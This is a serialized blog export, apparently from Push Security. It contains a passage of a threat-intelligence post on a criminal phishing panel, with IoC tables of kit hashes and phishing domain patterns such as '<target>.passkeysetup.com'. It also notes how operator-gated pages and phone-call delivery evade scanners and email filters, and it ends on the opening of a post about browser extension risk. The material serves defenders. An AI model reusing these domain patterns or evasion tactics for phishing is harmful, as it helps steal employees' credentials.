turnstile",{"data":44381,"content":44382,"nodeType":2400},{},[44383,44392],{"data":44384,"content":44385,"nodeType":2366},{},[44386],{"data":44387,"content":44388,"nodeType":866},{},[44389],{"data":44390,"marks":44391,"value":43365,"nodeType":865},{},[],{"data":44393,"content":44394,"nodeType":2366},{},[44395],{"data":44396,"content":44397,"nodeType":866},{},[44398],{"data":44399,"marks":44400,"value":44401,"nodeType":865},{},[],"cb1d409278b2247af23e7b00ac779b232baaf4ce5f63fdf5ebc3920a38cc6102",{"data":44403,"content":44404,"nodeType":2400},{},[44405,44414],{"data":44406,"content":44407,"nodeType":2366},{},[44408],{"data":44409,"content":44410,"nodeType":866},{},[44411],{"data":44412,"marks":44413,"value":43891,"nodeType":865},{},[],{"data":44415,"content":44416,"nodeType":2366},{},[44417],{"data":44418,"content":44419,"nodeType":866},{},[44420],{"data":44421,"marks":44422,"value":44423,"nodeType":865},{},[],"March 2026 - present (April 2026)",{"data":44425,"content":44426,"nodeType":2400},{},[44427,44436],{"data":44428,"content":44429,"nodeType":2366},{},[44430],{"data":44431,"content":44432,"nodeType":866},{},[44433],{"data":44434,"marks":44435,"value":43914,"nodeType":865},{},[],{"data":44437,"content":44438,"nodeType":2366},{},[44439],{"data":44440,"content":44441,"nodeType":866},{},[44442],{"data":44443,"marks":44444,"value":44445,"nodeType":865},{},[],"\u003Ctarget> subdomain with generic “sso”, “passkey”, “enroll”, “okta” theme root domain",{"data":44447,"content":44448,"nodeType":2400},{},[44449,44458],{"data":44450,"content":44451,"nodeType":2366},{},[44452],{"data":44453,"content":44454,"nodeType":866},{},[44455],{"data":44456,"marks":44457,"value":43965,"nodeType":865},{},[],{"data":44459,"content":44460,"nodeType":2366},{},[44461,44468,44475,44482],{"data":44462,"content":44463,"nodeType":866},{},[44464],{"data":44465,"marks":44466,"value":44467,"nodeType":865},{},[],"\u003Ctarget>.passkeysetup.com (March 2026)",{"data":44469,"content":44470,"nodeType":866},{},[44471],{"data":44472,"marks":44473,"value":44474,"nodeType":865},{},[],"\u003Ctarget>.enrollms.com (March 2026)",{"data":44476,"content":44477,"nodeType":866},{},[44478],{"data":44479,"marks":44480,"value":44481,"nodeType":865},{},[],"\u003Ctarget>.keyokta.com (April 2026)",{"data":44483,"content":44484,"nodeType":866},{},[44485],{"data":44486,"marks":44487,"value":44488,"nodeType":865},{},[],"\u003Ctarget>.passkeywork.com (April 2026)",{"data":44490,"content":44491,"nodeType":2400},{},[44492,44501],{"data":44493,"content":44494,"nodeType":2366},{},[44495],{"data":44496,"content":44497,"nodeType":866},{},[44498],{"data":44499,"marks":44500,"value":44009,"nodeType":865},{},[],{"data":44502,"content":44503,"nodeType":2366},{},[44504],{"data":44505,"content":44506,"nodeType":866},{},[44507],{"data":44508,"marks":44509,"value":44294,"nodeType":865},{},[],{"data":44511,"content":44512,"nodeType":2400},{},[44513,44522],{"data":44514,"content":44515,"nodeType":2366},{},[44516],{"data":44517,"content":44518,"nodeType":866},{},[44519],{"data":44520,"marks":44521,"value":44032,"nodeType":865},{},[],{"data":44523,"content":44524,"nodeType":2366},{},[44525],{"data":44526,"content":44527,"nodeType":866},{},[44528],{"data":44529,"marks":44530,"value":44531,"nodeType":865},{},[],"Cloudflare",{"data":44533,"content":44534,"nodeType":2400},{},[44535,44544],{"data":44536,"content":44537,"nodeType":2366},{},[44538],{"data":44539,"content":44540,"nodeType":866},{},[44541],{"data":44542,"marks":44543,"value":44055,"nodeType":865},{},[],{"data":44545,"content":44546,"nodeType":2366},{},[44547],{"data":44548,"content":44549,"nodeType":866},{},[44550],{"data":44551,"marks":44552,"value":44553,"nodeType":865},{},[],"Cloudflare (AS13335)",{"data":44555,"content":44556,"nodeType":1317},{},[44557],{"data":44558,"marks":44559,"value":44560,"nodeType":865},{},[],"Cluster D",{"data":44562,"content":44563,"nodeType":2927},{},[44564,44588,44610,44632,44654,44683,44704,44725],{"data":44565,"content":44566,"nodeType":2400},{},[44567,44577],{"data":44568,"content":44569,"nodeType":2366},{},[44570],{"data":44571,"content":44572,"nodeType":866},{},[44573],{"data":44574,"marks":44575,"value":43839,"nodeType":865},{},[44576],{"type":926},{"data":44578,"content":44579,"nodeType":2366},{},[44580],{"data":44581,"content":44582,"nodeType":866},{},[44583],{"data":44584,"marks":44585,"value":44587,"nodeType":865},{},[44586],{"type":926},"heartbeat/check_redirect variant (minified)",{"data":44589,"content":44590,"nodeType":2400},{},[44591,44600],{"data":44592,"content":44593,"nodeType":2366},{},[44594],{"data":44595,"content":44596,"nodeType":866},{},[44597],{"data":44598,"marks":44599,"value":43365,"nodeType":865},{},[],{"data":44601,"content":44602,"nodeType":2366},{},[44603],{"data":44604,"content":44605,"nodeType":866},{},[44606],{"data":44607,"marks":44608,"value":44609,"nodeType":865},{},[],"9d65dd34384b441505e6b67647153c02d5c367bb53da36ce36a392e70b37940a",{"data":44611,"content":44612,"nodeType":2400},{},[44613,44622],{"data":44614,"content":44615,"nodeType":2366},{},[44616],{"data":44617,"content":44618,"nodeType":866},{},[44619],{"data":44620,"marks":44621,"value":43891,"nodeType":865},{},[],{"data":44623,"content":44624,"nodeType":2366},{},[44625],{"data":44626,"content":44627,"nodeType":866},{},[44628],{"data":44629,"marks":44630,"value":44631,"nodeType":865},{},[],"April 2026 (low volume)",{"data":44633,"content":44634,"nodeType":2400},{},[44635,44644],{"data":44636,"content":44637,"nodeType":2366},{},[44638],{"data":44639,"content":44640,"nodeType":866},{},[44641],{"data":44642,"marks":44643,"value":43914,"nodeType":865},{},[],{"data":44645,"content":44646,"nodeType":2366},{},[44647],{"data":44648,"content":44649,"nodeType":866},{},[44650],{"data":44651,"marks":44652,"value":44653,"nodeType":865},{},[],"\u003Ctarget> subdomain with generic “passkey”, “portal”, “okta” theme root domain",{"data":44655,"content":44656,"nodeType":2400},{},[44657,44666],{"data":44658,"content":44659,"nodeType":2366},{},[44660],{"data":44661,"content":44662,"nodeType":866},{},[44663],{"data":44664,"marks":44665,"value":43965,"nodeType":865},{},[],{"data":44667,"content":44668,"nodeType":2366},{},[44669,44676],{"data":44670,"content":44671,"nodeType":866},{},[44672],{"data":44673,"marks":44674,"value":44675,"nodeType":865},{},[],"\u003Ctarget>.passkeyportalsetup.com",{"data":44677,"content":44678,"nodeType":866},{},[44679],{"data":44680,"marks":44681,"value":44682,"nodeType":865},{},[],"\u003Ctarget>.addoktapasskey.com",{"data":44684,"content":44685,"nodeType":2400},{},[44686,44695],{"data":44687,"content":44688,"nodeType":2366},{},[44689],{"data":44690,"content":44691,"nodeType":866},{},[44692],{"data":44693,"marks":44694,"value":44009,"nodeType":865},{},[],{"data":44696,"content":44697,"nodeType":2366},{},[44698],{"data":44699,"content":44700,"nodeType":866},{},[44701],{"data":44702,"marks":44703,"value":44019,"nodeType":865},{},[],{"data":44705,"content":44706,"nodeType":2400},{},[44707,44716],{"data":44708,"content":44709,"nodeType":2366},{},[44710],{"data":44711,"content":44712,"nodeType":866},{},[44713],{"data":44714,"marks":44715,"value":44032,"nodeType":865},{},[],{"data":44717,"content":44718,"nodeType":2366},{},[44719],{"data":44720,"content":44721,"nodeType":866},{},[44722],{"data":44723,"marks":44724,"value":44531,"nodeType":865},{},[],{"data":44726,"content":44727,"nodeType":2400},{},[44728,44737],{"data":44729,"content":44730,"nodeType":2366},{},[44731],{"data":44732,"content":44733,"nodeType":866},{},[44734],{"data":44735,"marks":44736,"value":44055,"nodeType":865},{},[],{"data":44738,"content":44739,"nodeType":2366},{},[44740],{"data":44741,"content":44742,"nodeType":866},{},[44743],{"data":44744,"marks":44745,"value":44553,"nodeType":865},{},[],{"data":44747,"content":44748,"nodeType":972},{},[],{"data":44750,"content":44751,"nodeType":981},{},[44752],{"data":44753,"marks":44754,"value":44756,"nodeType":865},{},[44755],{"type":926},"Detection considerations",{"data":44758,"content":44759,"nodeType":866},{},[44760],{"data":44761,"marks":44762,"value":44763,"nodeType":865},{},[],"For Push, the detection approach to these panels is fundamentally the same as for any other phishing kit — behavioral analysis of the rendered page in the browser, regardless of the C2 protocol running underneath. ",{"data":44765,"content":44766,"nodeType":866},{},[44767],{"data":44768,"marks":44769,"value":44770,"nodeType":865},{},[],"The main operational difference is on the operator end, where the human-in-the-loop interaction replaces fully automated credential harvesting. This has implications for defenders relying on proactive infrastructure scanning: the gated landing pages, anti-bot checks, and operator-approval requirements mean the malicious content is only served to active targets, making it significantly harder for automated scanners to discover and flag these domains before they're used against a victim.",{"data":44772,"content":44773,"nodeType":866},{},[44774,44779],{"data":44775,"marks":44776,"value":44778,"nodeType":865},{},[44777],{"type":926},"The phone call as delivery vector eliminates the email-based detection surface that most organizations rely on as their primary phishing defense. ",{"data":44780,"marks":44781,"value":44782,"nodeType":865},{},[],"Operator-gated payload delivery further reduces the likelihood that these sites will be flagged as malicious and added to known-bad detection lists (and in any case, it’s trivial for attackers to spin up new ones). This reinforces the need for browser-based detection at the point the user interacts with the page, analyzing it in real time for malicious content without relying on static IoCs. ",{"data":44784,"content":44785,"nodeType":972},{},[],{"data":44787,"content":44788,"nodeType":981},{},[44789],{"data":44790,"marks":44791,"value":38032,"nodeType":865},{},[44792],{"type":926},{"data":44794,"content":44795,"nodeType":866},{},[44796,44800,44806],{"data":44797,"marks":44798,"value":44799,"nodeType":865},{},[],"Short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to ",{"data":44801,"content":44802,"nodeType":889},{"uri":38042},[44803],{"data":44804,"marks":44805,"value":38047,"nodeType":865},{},[],{"data":44807,"marks":44808,"value":44809,"nodeType":865},{},[]," in the attack chain, often dynamically serving different URLs to site visitors. ",{"data":44811,"content":44812,"nodeType":866},{},[44813,44816,44824],{"data":44814,"marks":44815,"value":21,"nodeType":865},{},[],{"data":44817,"content":44819,"nodeType":889},{"uri":44818},"https://www.virustotal.com/gui/collection/0f745e9da6ef7664444594a7ee930cfe5a9d8bd6c2f039dcde818599b8926610",[44820],{"data":44821,"marks":44822,"value":44823,"nodeType":865},{},[],"The full list of IoCs is on VirusTotal here. ",{"data":44825,"marks":44826,"value":21,"nodeType":865},{},[],{"data":44828,"content":44829,"nodeType":866},{},[44830],{"data":44831,"marks":44832,"value":37990,"nodeType":865},{},[44833],{"type":926},{"data":44835,"content":44836,"nodeType":972},{},[],{"data":44838,"content":44839,"nodeType":981},{},[44840],{"data":44841,"marks":44842,"value":2270,"nodeType":865},{},[44843],{"type":926},{"data":44845,"content":44846,"nodeType":866},{},[44847,44851,44857],{"data":44848,"marks":44849,"value":44850,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.\n\nSecurity teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.\n\nBook a ",{"data":44852,"content":44853,"nodeType":889},{"uri":1372},[44854],{"data":44855,"marks":44856,"value":2298,"nodeType":865},{},[],{"data":44858,"marks":44859,"value":2302,"nodeType":865},{},[],"We infiltrated a criminal phishing panel: here’s what we found","We got an inside look at a phishing panel used in criminal campaigns linked to operators like ShinyHunters and BlackFile. Here’s what we found.","2026-05-07T00:00:00.000Z","inside-criminal-phishing-panel",{"items":44865},[44866,44868],{"sys":44867,"name":7796},{"id":7795},{"sys":44869,"name":342},{"id":4642},{"items":44871},[44872],{"fullName":44873,"firstName":44874,"jobTitle":7802,"profilePicture":44875},"Push Security Research Team","Research",{"url":44876},"https://images.ctfassets.net/y1cdw1ablpvd/7LpkwyXbOZ8WCVTAXzULmC/bfa3634c78ee9dfbee6606ba5519918b/push-round.png",{"__typename":1429,"sys":44878,"content":44879,"title":41038,"synopsis":41039,"hashTags":59,"publishedDate":41040,"slug":41041,"tagsCollection":45515,"authorsCollection":45521},{"id":40295},{"json":44880},{"data":44881,"content":44882,"nodeType":1382},{},[44883,44906,44932,44938,44943,44946,44953,44959,44964,44979,44985,44992,45008,45021,45027,45033,45036,45043,45049,45055,45110,45116,45123,45133,45139,45145,45150,45157,45163,45169,45175,45181,45186,45193,45199,45270,45275,45278,45285,45291,45304,45310,45316,45321,45337,45340,45347,45353,45358,45374,45380,45386,45391,45394,45401,45407,45413,45418,45424,45429,45434,45454,45459,45469,45475,45481],{"data":44884,"content":44885,"nodeType":866},{},[44886,44889,44896,44899,44903],{"data":44887,"marks":44888,"value":40306,"nodeType":865},{},[],{"data":44890,"content":44891,"nodeType":889},{"uri":4991},[44892],{"data":44893,"marks":44894,"value":40314,"nodeType":865},{},[44895],{"type":943},{"data":44897,"marks":44898,"value":40318,"nodeType":865},{},[],{"data":44900,"marks":44901,"value":40323,"nodeType":865},{},[44902],{"type":926},{"data":44904,"marks":44905,"value":14251,"nodeType":865},{},[],{"data":44907,"content":44908,"nodeType":866},{},[44909,44912,44919,44922,44929],{"data":44910,"marks":44911,"value":40333,"nodeType":865},{},[],{"data":44913,"content":44914,"nodeType":889},{"uri":40336},[44915],{"data":44916,"marks":44917,"value":40342,"nodeType":865},{},[44918],{"type":943},{"data":44920,"marks":44921,"value":40346,"nodeType":865},{},[],{"data":44923,"content":44924,"nodeType":889},{"uri":24925},[44925],{"data":44926,"marks":44927,"value":40354,"nodeType":865},{},[44928],{"type":943},{"data":44930,"marks":44931,"value":40358,"nodeType":865},{},[],{"data":44933,"content":44934,"nodeType":866},{},[44935],{"data":44936,"marks":44937,"value":40365,"nodeType":865},{},[],{"data":44939,"content":44942,"nodeType":912},{"target":44940},{"sys":44941},{"id":40370,"type":909,"linkType":910},[],{"data":44944,"content":44945,"nodeType":972},{},[],{"data":44947,"content":44948,"nodeType":981},{},[44949],{"data":44950,"marks":44951,"value":40382,"nodeType":865},{},[44952],{"type":926},{"data":44954,"content":44955,"nodeType":866},{},[44956],{"data":44957,"marks":44958,"value":40389,"nodeType":865},{},[],{"data":44960,"content":44963,"nodeType":912},{"target":44961},{"sys":44962},{"id":40394,"type":909,"linkType":910},[],{"data":44965,"content":44966,"nodeType":866},{},[44967,44970,44976],{"data":44968,"marks":44969,"value":40402,"nodeType":865},{},[],{"data":44971,"content":44972,"nodeType":889},{"uri":40405},[44973],{"data":44974,"marks":44975,"value":40410,"nodeType":865},{},[],{"data":44977,"marks":44978,"value":40414,"nodeType":865},{},[],{"data":44980,"content":44981,"nodeType":866},{},[44982],{"data":44983,"marks":44984,"value":40421,"nodeType":865},{},[],{"data":44986,"content":44987,"nodeType":1317},{},[44988],{"data":44989,"marks":44990,"value":40429,"nodeType":865},{},[44991],{"type":926},{"data":44993,"content":44994,"nodeType":866},{},[44995,44998,45005],{"data":44996,"marks":44997,"value":40436,"nodeType":865},{},[],{"data":44999,"content":45000,"nodeType":889},{"uri":40439},[45001],{"data":45002,"marks":45003,"value":40445,"nodeType":865},{},[45004],{"type":943},{"data":45006,"marks":45007,"value":40449,"nodeType":865},{},[],{"data":45009,"content":45010,"nodeType":866},{},[45011,45014,45018],{"data":45012,"marks":45013,"value":40456,"nodeType":865},{},[],{"data":45015,"marks":45016,"value":40461,"nodeType":865},{},[45017],{"type":898},{"data":45019,"marks":45020,"value":40465,"nodeType":865},{},[],{"data":45022,"content":45023,"nodeType":866},{},[45024],{"data":45025,"marks":45026,"value":40472,"nodeType":865},{},[],{"data":45028,"content":45029,"nodeType":866},{},[45030],{"data":45031,"marks":45032,"value":40479,"nodeType":865},{},[],{"data":45034,"content":45035,"nodeType":972},{},[],{"data":45037,"content":45038,"nodeType":981},{},[45039],{"data":45040,"marks":45041,"value":40490,"nodeType":865},{},[45042],{"type":926},{"data":45044,"content":45045,"nodeType":866},{},[45046],{"data":45047,"marks":45048,"value":40497,"nodeType":865},{},[],{"data":45050,"content":45051,"nodeType":866},{},[45052],{"data":45053,"marks":45054,"value":40504,"nodeType":865},{},[],{"data":45056,"content":45057,"nodeType":1616},{},[45058,45071,45084,45097],{"data":45059,"content":45060,"nodeType":1570},{},[45061],{"data":45062,"content":45063,"nodeType":866},{},[45064,45068],{"data":45065,"marks":45066,"value":40518,"nodeType":865},{},[45067],{"type":926},{"data":45069,"marks":45070,"value":40522,"nodeType":865},{},[],{"data":45072,"content":45073,"nodeType":1570},{},[45074],{"data":45075,"content":45076,"nodeType":866},{},[45077,45081],{"data":45078,"marks":45079,"value":40533,"nodeType":865},{},[45080],{"type":926},{"data":45082,"marks":45083,"value":40537,"nodeType":865},{},[],{"data":45085,"content":45086,"nodeType":1570},{},[45087],{"data":45088,"content":45089,"nodeType":866},{},[45090,45094],{"data":45091,"marks":45092,"value":40548,"nodeType":865},{},[45093],{"type":926},{"data":45095,"marks":45096,"value":40552,"nodeType":865},{},[],{"data":45098,"content":45099,"nodeType":1570},{},[45100],{"data":45101,"content":45102,"nodeType":866},{},[45103,45107],{"data":45104,"marks":45105,"value":40563,"nodeType":865},{},[45106],{"type":926},{"data":45108,"marks":45109,"value":40567,"nodeType":865},{},[],{"data":45111,"content":45112,"nodeType":866},{},[45113],{"data":45114,"marks":45115,"value":40574,"nodeType":865},{},[],{"data":45117,"content":45118,"nodeType":1317},{},[45119],{"data":45120,"marks":45121,"value":40582,"nodeType":865},{},[45122],{"type":926},{"data":45124,"content":45125,"nodeType":866},{},[45126,45130],{"data":45127,"marks":45128,"value":40590,"nodeType":865},{},[45129],{"type":926},{"data":45131,"marks":45132,"value":40594,"nodeType":865},{},[],{"data":45134,"content":45135,"nodeType":866},{},[45136],{"data":45137,"marks":45138,"value":40601,"nodeType":865},{},[],{"data":45140,"content":45141,"nodeType":866},{},[45142],{"data":45143,"marks":45144,"value":40608,"nodeType":865},{},[],{"data":45146,"content":45149,"nodeType":912},{"target":45147},{"sys":45148},{"id":40613,"type":909,"linkType":910},[],{"data":45151,"content":45152,"nodeType":1317},{},[45153],{"data":45154,"marks":45155,"value":40622,"nodeType":865},{},[45156],{"type":926},{"data":45158,"content":45159,"nodeType":866},{},[45160],{"data":45161,"marks":45162,"value":40629,"nodeType":865},{},[],{"data":45164,"content":45165,"nodeType":866},{},[45166],{"data":45167,"marks":45168,"value":40636,"nodeType":865},{},[],{"data":45170,"content":45171,"nodeType":866},{},[45172],{"data":45173,"marks":45174,"value":40643,"nodeType":865},{},[],{"data":45176,"content":45177,"nodeType":866},{},[45178],{"data":45179,"marks":45180,"value":40650,"nodeType":865},{},[],{"data":45182,"content":45185,"nodeType":912},{"target":45183},{"sys":45184},{"id":40655,"type":909,"linkType":910},[],{"data":45187,"content":45188,"nodeType":1317},{},[45189],{"data":45190,"marks":45191,"value":40664,"nodeType":865},{},[45192],{"type":926},{"data":45194,"content":45195,"nodeType":866},{},[45196],{"data":45197,"marks":45198,"value":40671,"nodeType":865},{},[],{"data":45200,"content":45201,"nodeType":1616},{},[45202,45241],{"data":45203,"content":45204,"nodeType":1570},{},[45205],{"data":45206,"content":45207,"nodeType":866},{},[45208,45211,45218,45221,45228,45231,45238],{"data":45209,"marks":45210,"value":40684,"nodeType":865},{},[],{"data":45212,"content":45213,"nodeType":889},{"uri":4991},[45214],{"data":45215,"marks":45216,"value":8673,"nodeType":865},{},[45217],{"type":943},{"data":45219,"marks":45220,"value":40695,"nodeType":865},{},[],{"data":45222,"content":45223,"nodeType":889},{"uri":15501},[45224],{"data":45225,"marks":45226,"value":40703,"nodeType":865},{},[45227],{"type":943},{"data":45229,"marks":45230,"value":40707,"nodeType":865},{},[],{"data":45232,"content":45233,"nodeType":889},{"uri":40710},[45234],{"data":45235,"marks":45236,"value":40716,"nodeType":865},{},[45237],{"type":943},{"data":45239,"marks":45240,"value":40720,"nodeType":865},{},[],{"data":45242,"content":45243,"nodeType":1570},{},[45244],{"data":45245,"content":45246,"nodeType":866},{},[45247,45250,45257,45260,45267],{"data":45248,"marks":45249,"value":40730,"nodeType":865},{},[],{"data":45251,"content":45252,"nodeType":889},{"uri":40733},[45253],{"data":45254,"marks":45255,"value":40739,"nodeType":865},{},[45256],{"type":943},{"data":45258,"marks":45259,"value":40743,"nodeType":865},{},[],{"data":45261,"content":45262,"nodeType":889},{"uri":40746},[45263],{"data":45264,"marks":45265,"value":40752,"nodeType":865},{},[45266],{"type":943},{"data":45268,"marks":45269,"value":40756,"nodeType":865},{},[],{"data":45271,"content":45274,"nodeType":912},{"target":45272},{"sys":45273},{"id":40761,"type":909,"linkType":910},[],{"data":45276,"content":45277,"nodeType":972},{},[],{"data":45279,"content":45280,"nodeType":981},{},[45281],{"data":45282,"marks":45283,"value":40773,"nodeType":865},{},[45284],{"type":926},{"data":45286,"content":45287,"nodeType":866},{},[45288],{"data":45289,"marks":45290,"value":40780,"nodeType":865},{},[],{"data":45292,"content":45293,"nodeType":866},{},[45294,45297,45301],{"data":45295,"marks":45296,"value":40787,"nodeType":865},{},[],{"data":45298,"marks":45299,"value":40792,"nodeType":865},{},[45300],{"type":926},{"data":45302,"marks":45303,"value":40796,"nodeType":865},{},[],{"data":45305,"content":45306,"nodeType":866},{},[45307],{"data":45308,"marks":45309,"value":40803,"nodeType":865},{},[],{"data":45311,"content":45312,"nodeType":866},{},[45313],{"data":45314,"marks":45315,"value":40810,"nodeType":865},{},[],{"data":45317,"content":45320,"nodeType":912},{"target":45318},{"sys":45319},{"id":40815,"type":909,"linkType":910},[],{"data":45322,"content":45323,"nodeType":866},{},[45324,45327,45334],{"data":45325,"marks":45326,"value":40823,"nodeType":865},{},[],{"data":45328,"content":45329,"nodeType":889},{"uri":7712},[45330],{"data":45331,"marks":45332,"value":40831,"nodeType":865},{},[45333],{"type":943},{"data":45335,"marks":45336,"value":40835,"nodeType":865},{},[],{"data":45338,"content":45339,"nodeType":972},{},[],{"data":45341,"content":45342,"nodeType":981},{},[45343],{"data":45344,"marks":45345,"value":40846,"nodeType":865},{},[45346],{"type":926},{"data":45348,"content":45349,"nodeType":866},{},[45350],{"data":45351,"marks":45352,"value":40853,"nodeType":865},{},[],{"data":45354,"content":45357,"nodeType":912},{"target":45355},{"sys":45356},{"id":40858,"type":909,"linkType":910},[],{"data":45359,"content":45360,"nodeType":866},{},[45361,45364,45371],{"data":45362,"marks":45363,"value":40866,"nodeType":865},{},[],{"data":45365,"content":45366,"nodeType":889},{"uri":8268},[45367],{"data":45368,"marks":45369,"value":40874,"nodeType":865},{},[45370],{"type":943},{"data":45372,"marks":45373,"value":14251,"nodeType":865},{},[],{"data":45375,"content":45376,"nodeType":866},{},[45377],{"data":45378,"marks":45379,"value":40884,"nodeType":865},{},[],{"data":45381,"content":45382,"nodeType":866},{},[45383],{"data":45384,"marks":45385,"value":40891,"nodeType":865},{},[],{"data":45387,"content":45390,"nodeType":912},{"target":45388},{"sys":45389},{"id":40896,"type":909,"linkType":910},[],{"data":45392,"content":45393,"nodeType":972},{},[],{"data":45395,"content":45396,"nodeType":981},{},[45397],{"data":45398,"marks":45399,"value":6331,"nodeType":865},{},[45400],{"type":926},{"data":45402,"content":45403,"nodeType":866},{},[45404],{"data":45405,"marks":45406,"value":40914,"nodeType":865},{},[],{"data":45408,"content":45409,"nodeType":866},{},[45410],{"data":45411,"marks":45412,"value":40921,"nodeType":865},{},[],{"data":45414,"content":45417,"nodeType":912},{"target":45415},{"sys":45416},{"id":40926,"type":909,"linkType":910},[],{"data":45419,"content":45420,"nodeType":866},{},[45421],{"data":45422,"marks":45423,"value":40934,"nodeType":865},{},[],{"data":45425,"content":45428,"nodeType":912},{"target":45426},{"sys":45427},{"id":40939,"type":909,"linkType":910},[],{"data":45430,"content":45433,"nodeType":912},{"target":45431},{"sys":45432},{"id":40945,"type":909,"linkType":910},[],{"data":45435,"content":45436,"nodeType":866},{},[45437,45440,45444,45447,45451],{"data":45438,"marks":45439,"value":40953,"nodeType":865},{},[],{"data":45441,"marks":45442,"value":40958,"nodeType":865},{},[45443],{"type":926},{"data":45445,"marks":45446,"value":40962,"nodeType":865},{},[],{"data":45448,"marks":45449,"value":40967,"nodeType":865},{},[45450],{"type":926},{"data":45452,"marks":45453,"value":40971,"nodeType":865},{},[],{"data":45455,"content":45458,"nodeType":912},{"target":45456},{"sys":45457},{"id":40976,"type":909,"linkType":910},[],{"data":45460,"content":45461,"nodeType":1317},{},[45462,45465],{"data":45463,"marks":45464,"value":40984,"nodeType":865},{},[],{"data":45466,"marks":45467,"value":40989,"nodeType":865},{},[45468],{"type":926},{"data":45470,"content":45471,"nodeType":866},{},[45472],{"data":45473,"marks":45474,"value":40996,"nodeType":865},{},[],{"data":45476,"content":45477,"nodeType":866},{},[45478],{"data":45479,"marks":45480,"value":41003,"nodeType":865},{},[],{"data":45482,"content":45483,"nodeType":866},{},[45484,45487,45493,45496,45503,45506,45512],{"data":45485,"marks":45486,"value":11372,"nodeType":865},{},[],{"data":45488,"content":45489,"nodeType":889},{"uri":11375},[45490],{"data":45491,"marks":45492,"value":11381,"nodeType":865},{},[],{"data":45494,"marks":45495,"value":2717,"nodeType":865},{},[],{"data":45497,"content":45498,"nodeType":889},{"uri":11387},[45499],{"data":45500,"marks":45501,"value":11393,"nodeType":865},{},[45502],{"type":943},{"data":45504,"marks":45505,"value":11397,"nodeType":865},{},[],{"data":45507,"content":45508,"nodeType":889},{"uri":1372},[45509],{"data":45510,"marks":45511,"value":11405,"nodeType":865},{},[],{"data":45513,"marks":45514,"value":1615,"nodeType":865},{},[],{"items":45516},[45517,45519],{"sys":45518,"name":7796},{"id":7795},{"sys":45520,"name":342},{"id":4642},{"items":45522},[45523],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":45524},{"url":7804},{"__typename":1429,"sys":45526,"content":45528,"title":46373,"synopsis":46374,"hashTags":59,"publishedDate":46375,"slug":46376,"tagsCollection":46377,"authorsCollection":46383},{"id":45527},"6X3wP0WhtDk2l1jKH2fPIb",{"json":45529},{"data":45530,"content":45531,"nodeType":1382},{},[45532,45538,45574,45581,45588,45591,45599,45606,45614,45653,45670,45673,45681,45688,45695,45702,45718,45732,45739,45755,45762,45778,45799,45819,45875,45887,45907,45913,45920,45927,45934,45941,45964,45970,45977,45984,45991,46003,46028,46031,46039,46046,46053,46060,46079,46085,46108,46115,46122,46246,46252,46259,46266,46269,46277,46284,46303,46310,46318,46321,46340],{"data":45533,"content":45537,"nodeType":912},{"target":45534},{"sys":45535},{"id":45536,"type":909,"linkType":910},"4Lk4sATAlk2wPcevG0cJCu",[],{"data":45539,"content":45540,"nodeType":866},{},[45541,45544,45551,45554,45560,45563,45570],{"data":45542,"marks":45543,"value":3676,"nodeType":865},{},[],{"data":45545,"content":45546,"nodeType":889},{"uri":3679},[45547],{"data":45548,"marks":45549,"value":3685,"nodeType":865},{},[45550],{"type":943},{"data":45552,"marks":45553,"value":2717,"nodeType":865},{},[],{"data":45555,"content":45556,"nodeType":889},{"uri":3691},[45557],{"data":45558,"marks":45559,"value":3696,"nodeType":865},{},[],{"data":45561,"marks":45562,"value":2717,"nodeType":865},{},[],{"data":45564,"content":45565,"nodeType":889},{"uri":3702},[45566],{"data":45567,"marks":45568,"value":3707,"nodeType":865},{},[45569],{"type":943},{"data":45571,"marks":45572,"value":45573,"nodeType":865},{},[],", among many others). ",{"data":45575,"content":45576,"nodeType":866},{},[45577],{"data":45578,"marks":45579,"value":45580,"nodeType":865},{},[],"But as the industry scrambles to respond, there's a tendency to treat browser extension management as an entirely new paradigm that requires a new approach, particularly risk scoring systems that attempt to rate each extension on a spectrum from safe to dangerous.",{"data":45582,"content":45583,"nodeType":866},{},[45584],{"data":45585,"marks":45586,"value":45587,"nodeType":865},{},[],"We think this framing misses the point, and that it's leading security teams toward a strategy that won't protect them from the attacks that actually cause damage.",{"data":45589,"content":45590,"nodeType":972},{},[],{"data":45592,"content":45593,"nodeType":981},{},[45594],{"data":45595,"marks":45596,"value":45598,"nodeType":865},{},[45597],{"type":926},"The practical problem: \"just remove the high-risk ones\" doesn't work",{"data":45600,"content":45601,"nodeType":866},{},[45602],{"data":45603,"marks":45604,"value":45605,"nodeType":865},{},[],"The strategy we see most often is some version of \"identify and remove the highest-risk extensions.\" On the surface this seems reasonable — you can't address everything, so you prioritize. The problem is that it doesn't materially reduce your exposure to the attacks that are actually happening.",{"data":45607,"content":45608,"nodeType":866},{},[45609],{"data":45610,"marks":45611,"value":45613,"nodeType":865},{},[45612],{"type":926},"Browser extension attacks almost always follow one of two patterns: ",{"data":45615,"content":45616,"nodeType":1616},{},[45617,45627],{"data":45618,"content":45619,"nodeType":1570},{},[45620],{"data":45621,"content":45622,"nodeType":866},{},[45623],{"data":45624,"marks":45625,"value":45626,"nodeType":865},{},[],"A legitimate developer is compromised through consent phishing, session theft, or AiTM phishing, and a malicious update is pushed to the existing user base. Cyberhaven is a good example of this — a developer got consent phished with a specific app that granted the attacker access to the extension store.",{"data":45628,"content":45629,"nodeType":1570},{},[45630],{"data":45631,"content":45632,"nodeType":866},{},[45633,45637,45649],{"data":45634,"marks":45635,"value":45636,"nodeType":865},{},[],"An attacker builds or acquires a clean extension, operates it legitimately until it accumulates a sufficient user base, then deploys a malicious update. GitLab's threat intelligence team documented a cluster of",{"data":45638,"content":45640,"nodeType":889},{"uri":45639},"https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/",[45641,45644],{"data":45642,"marks":45643,"value":2688,"nodeType":865},{},[],{"data":45645,"marks":45646,"value":45648,"nodeType":865},{},[45647],{"type":943},"16 extensions impacting 3.2 million users",{"data":45650,"marks":45651,"value":45652,"nodeType":865},{},[]," where access had been acquired from original developers rather than via compromise.",{"data":45654,"content":45655,"nodeType":866},{},[45656,45661,45665],{"data":45657,"marks":45658,"value":45660,"nodeType":865},{},[45659],{"type":926},"This means that real-world extension breaches aren't coming from 